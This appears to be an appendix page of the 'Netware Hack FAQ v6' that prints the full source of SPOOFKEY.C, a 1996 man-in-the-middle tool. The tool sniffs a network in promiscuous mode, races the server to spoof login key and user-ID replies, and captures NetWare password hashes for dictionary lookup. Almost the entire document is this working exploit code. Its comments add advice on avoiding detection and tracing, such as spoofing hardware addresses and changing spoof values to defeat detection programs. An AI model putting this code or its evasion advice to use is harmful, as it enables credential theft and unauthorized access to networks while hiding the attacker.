HostedDB - Dedicated UNIX Servers

-->
Netware Hack FAQ v6


Appendix Section

A-02. Source code to SPOOFKEY

Greg's comments are in the source code file...



/*          SPOOFKEY.C (C) 1996 by Greg Miller (distribute freely)     */

/*    Here we use a sequence number trick to implement a MITM attack
on the Netware bindery mode login protocol.  The "trick" allows us
to implement the attack on a single machine which resides somewhere 
in between the attacking station and the server.
*/

/*
        This program implements the last step of an attack discovered by
David Wagner <daw@cs.berkeley.edu>.  Before running this program you will
need to (1) get a good word list (try ftp://sable.ox.ac.uk/pub/wordlists),
(2)  convert the wordlist into a hash list (try
http://grendel.ius.indiana.edu/~gmiller/) and (3) edit the SpoofStation[]
variable to reflect the station you want to attack.  After running the
program, the hash will be displayed.  Look up this hash in the hash list
generated above and you will be able to use the corresponding password
to log in as the user you spoofed.

        The attack spoofs both the user ID and the random value generated
by the server when a workstation attempts to log in.  This allows an
attacker to use a pre-generated hash list to look up possible passwords.
Here, I have used a "random value" of FFFFFFFFFFFFFFFF and and ID of
FFFFFFFF.
*/


/*
NOTE:  You will have to run this on a pretty fast machine to beat the
server's responses.  It seems pretty simple, but it's not unless the server
is carying a pretty heavy load.  I've also run into problems where the
workstation's requests were lost.  That shows this program could use some
very heavy optimization.
*/

/*
NOTE:  The workstation will attempt two login requests.  One is to login
without a password, the second is the real login request.  Because of this
you'll see two hashes printed rather than just one.  The second hash is the
only one you're interested in.
*/

/*
NOTE:  This program will only work on 3.x servers, or on 4.x servers when
the workstation logs in in bindery mode.
*/

#include <stdio.h>
#include <string.h>
#include <conio.h>

#define TRUE -1
#define FALSE 0

//Offset of the IPX packet type in an 802.3 frame
#define PACKET_TYPE 19

//Offset of the NCP function code in an 802.3 frame
#define FUNCTION_CODE 50

//Offset of the NCP subfunction code in an 802.3 frame
#define SUBFUNC_CODE 53

//Offset of the hashed password in the NCP client
//request for a login inside an 802.3 frame
#define KEY_OFFSET 52

typedef unsigned char BYTE;
typedef unsigned int WORD;
typedef unsigned long DWORD;

int DataRemaining = TRUE;
int x;

BYTE packet[2000];
BYTE SendPacket[2000];

WORD handle;
int packet_received = FALSE;
int NotDone = TRUE;

/*  Change these varialbles to reflect the station you
    are attacking.  You may also want to alter the spoof
    values for a few reasons:
    1.  It prevents the use of an automated detection 
        program to detect this attack.
    2.  It prevents someone else using a packet sniffer from
        using the same pre-generated word list that you're
        using.  This way, if they want the password, they
        have to do the work themselves.
*/
BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21};
BYTE SpoofID[4] = {0xff,0xff,0xff,0xff};
BYTE SpoofKey[8] = {0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};

int c;
WORD pktlen;
WORD Sendpktlen;

void Initialize(){
}

/*In reality, the functions for the packet driver API should be in a 
  separate file, but they are included here for ease of distribution.
*/

static void far PacketReceived(){
        /*This function is called by the packet driver when a packet is
          received.  If AX=0 when the function is called, the packet driver
          is asking for a buffer to put the packet in.  If AX=1 then the
          packet has been copied into the buffer.
        */

        _asm{
                pop di          //Borland C 3.1 pushes DI for some reason.
                                //Remove this line if you compiler doesn't.

                cmp ax,1        //ax=0 for get buffer or 1 when done
                jz copy_done

                mov ax,seg packet
                mov ES,ax
                lea DI,packet
                mov cx,2000     //buffer length
                retf
        }

copy_done:
        packet_received = TRUE;
        pktlen=_CX;

        _asm{retf}
end:
}

void RegisterWithPKTDRV(){
        /*This function registers the "protocol stack" with the packet
          driver.  We give it the address of the function to call when
          a packet is received in ES:DI, the interface class in AL, and
          the interface type in BX.  DS:SI should point to the type of
          packets to receive, with the length of the type in CX, however,
          we'll just receive any type of packet so we leave DS:SI alone
          and make CX=0.
          We get a handle back from the INT 60h call in AX, we'll store
          it for later use.
        */

        _asm {
                pusha

                mov bx,0ffffh  //Wild card for all interfaces
                mov dl,0
                mov cx,0    //receive any type of packet
                mov ax, seg PacketReceived
                mov es,ax
                lea di, PacketReceived
                mov ah,02
                mov al,01   //class type for 3com 509
                int 60h
                jc err

                mov handle,ax

                popa
        }

        printf("Registered with packet driver\r\n");
        return;
err:
        printf("Error registering stack: %d\r\n",_DH);
        _asm{popa}

}

void RelinquishProtocolStack(){
        /*  Relinqush control of the interface and unhooks
          the packet received funtion.
      */

        /*Release Type*/
        _asm{   pusha

                mov ah,3
                mov bx,handle
                int 60h
                jc err
            }


        /*Terminate driver for handle*/
        _asm{
                mov ah,5
                mov bx,handle
                int 60h
                jc err

                popa
        }

        printf("Stack Relinqushed\r\n");
        return;
err:
        printf("Error releasing Stack: %d",_DH);
}

void EnterPromiscuousMode(){
        /*This function puts the board in promiscuous mode by putting the
          receive mode in CX and the handle in BX.  Mode 6 is promiscuous.
        This causes the interface to receive all packets on the network.

        The user should note that some network cards send packets out
        on the network to indicate that they are in promiscuous mode.
        When this happens, the real MAC address is put on the network
        for all to see.  This could possibly allow someone to identify
        the attack is occurring, and also where the attack is originating
        from.
        If your card does not implement this feature (most don't), then
        this attack should be carried out undetected.
        */
        _asm{
                pusha

                mov ah,14h
                mov bx,handle
                mov cx,6
                int 60h
                jc err

                popa
        }

        printf("Promiscuous mode set\r\n");
        return;
err:
        printf("Error entering promiscuous mode: %d\r\n",_DH);
        _asm{popa}
}

void printhex(BYTE d){
 /*Ad Hock mechanism for printing HEX dump.  Yes, there are
   much better ways to do it.
 */
 BYTE temp;
 _asm{
  mov al,d
  shr al,1
  shr al,1
  shr al,1
  shr al,1
  and al,0fh
  add al,90h
  daa
  adc al,40h
  daa
 }
 temp=_AL;
 printf("%c",temp);
 _asm{
  mov al,d
  and al,0fh
  add al,90h
  daa
  adc al,40h
  daa
 }
 temp=_AL;
 printf("%c ",temp);
}

void SendPack(){
      /*Puts an ethernet frame on the network.  The premble, etc
        are not included in the data, but the hardware address
        is.  This allows us to spoof our address at the hardware level.

        Although, NetWare doesn't care what the hardware address is, 
        implementing the attack in this way allows us to avoid the
        attack to be traced back to a given machine, should the 
        attack be detected.
      */

        _asm{   pusha

                mov ax,seg SendPacket
                mov ds,ax
                lea si,SendPacket
                mov cx,Sendpktlen
                mov ah,04
                int 60h

                jc err

                popa
        }
        printf("Sending:\r\n");
        for(c=0;c<pktlen;c++){printhex(packet[c]);}
        printf("\r\n");
        return;
err:
        printf("Error sending packet: %d\r\n",_DH);
        _asm{popa}
}

void SendEncryptionKeyReply(){
      /*We've seen the client station request an encryption key from
        the server.  We will spoof our fake encryption key back to the
        client, and hopfully beat the server.  If we do the client
        will ignore the server's reply and use our key.  
        To make this happen, we have to use the propper sequence number
        for the reply.  With NCP, sequence numbers are mearly counters
        of the number of packets sent for that connection.  When the
        client sends a request, the reply will use the same sequence
        number as the request did.  Due to the structure of the NCP
        protocol, no acknowledgment of receipt is needed.
        Due to the behaviour of the sequence numbers, both the server
        and the client stay in a sychronized state, which makes the
        attack much, much easier.  If this was TCP, the code here
        would be much different.
      */

        memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr
        memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr

        //Put 802.3 length here.
        SendPacket[12]=00;
        SendPacket[13]=0x2e;

        memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock
        memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock
        SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
        SendPacket[16]=0;SendPacket[17]=0x2e;    //IPX Length
        SendPacket[18]=1;                        //Hop Count
        SendPacket[19]=17;  //Packet type = NCP
        SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
        memcpy(SendPacket+46,packet+46,4);  //Seq num,con num,task,con num hi
        SendPacket[50]=0;  //Completion code
        SendPacket[51]=0;  //Connection Status

        memcpy(SendPacket+52,SpoofKey,8);  //Key

        Sendpktlen = 60;
        printf("Spoofing Encryption Key Reply\r\n");
        SendPack();
}

void SendIDReply(){
      /*We've seen a request from the client for the UID.  So
        we'll spoof our fake UID in the same manner above.
      */

        memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr
        memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr

        SendPacket[12]=0;       //802.3 length hi
        SendPacket[13]=0x5c;    //802.3 length lo

        memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock
        memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock
        SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
        SendPacket[16]=0;SendPacket[17]=0x5c;    //IPX Length
        SendPacket[18]=0;                        //Hop Count
        SendPacket[19]=17;  //Packet type = NCP
        SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
        memcpy(SendPacket+46,packet+46,4);  //Seq num,con num,task,con num hi
        SendPacket[50]=0;  //Completion code
        SendPacket[51]=0;  //Connection Status

        memcpy(SendPacket+52,SpoofID,4);  //ID

        SendPacket[56]=packet[54];SendPacket[57]=packet[55];  //Object type
        memset(SendPacket+58,'\000',47);
        memcpy(SendPacket+58,packet+57,packet[56]);           //Object name

        Sendpktlen=105;
        printf("Spoofing ID Reply\r\n");
        SendPack();
}

void WaitForPacket(){
 while(!packet_received){
 if (kbhit()) NotDone = FALSE;
 }

// for(c=0;c<pktlen;c++){printhex(packet[c]);}
// printf("\r\n");

 packet_received=FALSE;
}

void WaitForStationLoginRequest(){
      /*Here is the main program loop, where the attack
        actually occurs.  When the user types in his
        user name, the client attempts to log in with
        a NULL password.  If that login fails, the user
        is prompted for a password.  Because of this, we'll
        have to spoof the key and UID twice to ensure we
        get both requests.  This is the reason for the 
        for(){...} block.

        The NetWare login protocol is as follows:
        1.  The client sends a request for a login
            key.  And the server responds by sending
            and eight byte random number back to the
            client.
        2.  The client sends a request for the user's
            user ID.  The server responds by sending the
            requested ID back to the client.
        3.  The client performs some function 
            f(UID, key, password) and sends this value to
            the server as a request for a login.  The
            server performs the same calculation, if the
            value received from the client matches the
            value the server computed, the client is
            granted access.

        Since, we've spoofed the UID and the key, the f()
        function will always produce the same values for
        the same password.
        Because of this, we could have pre-generated a 
        list of hashes using a database of common words.  The
        generated database would contain a mapping from the
        hash back to the password.  Given the fact that most
        people use a single word for their password, this 
        database could be generated in only a few hours on a
        PC.  Then it's only a matter of looking up the 
        hash in the database to obtain the password.

        Due to the poor design of the Netware hash function,
        there is likley to be more than one password which 
        hashes to the same value.  This does not mean the 
        passwords are equivelent.  You must attempt to log in
        which each retreived password individually to determine
        the real one.
      */

 for(x=0;x<2;x++){

        /*Wait for login key request and spoof it*/
        printf("Waiting for key request\r\n");
        while(NotDone){
                WaitForPacket();
                  if((memcmp(packet+6,SpoofStation,6)==0) &&
                    (packet[PACKET_TYPE]==17) &&
                    (packet[FUNCTION_CODE]==23) &&
                    (packet[SUBFUNC_CODE]==23)){
                     NotDone = FALSE;
                  }
        }
        SendEncryptionKeyReply();


        /*Wait for ID request and spoof it*/
        printf("Waiting for ID request\r\n");
        NotDone = TRUE;
        while(NotDone){
                WaitForPacket();
                if(memcmp(packet+6,SpoofStation,6)){
                  if((packet[PACKET_TYPE]==17) &&
                   (packet[FUNCTION_CODE]==23) &&
                   (packet[SUBFUNC_CODE]==53)){
                   NotDone = FALSE;
                  }
                }
        }
        SendIDReply();

        /*Wait for login request and pull hash out*/
        printf("Waiting for login request\r\n");
        NotDone = TRUE;
        while(NotDone){
                WaitForPacket();
                if(memcmp(packet,SpoofStation+6,6) &&
                  (packet[PACKET_TYPE]==17) &&
                  (packet[FUNCTION_CODE]==23) &&
                  (packet[SUBFUNC_CODE]==24)){
                  NotDone = FALSE;
                }
        }
        printf("Hash Received\r\n");
        for(c=KEY_OFFSET;c<KEY_OFFSET+7;c++){printhex(packet[c]);}
        printf("\r\n");
 }
}

void main(){

        Initialize();

        RegisterWithPKTDRV();
        EnterPromiscuousMode();

        WaitForStationLoginRequest();

        RelinquishProtocolStack(); /*Toggles prom mode off*/

}

[ Return to TOC | Return to FAQ Page ]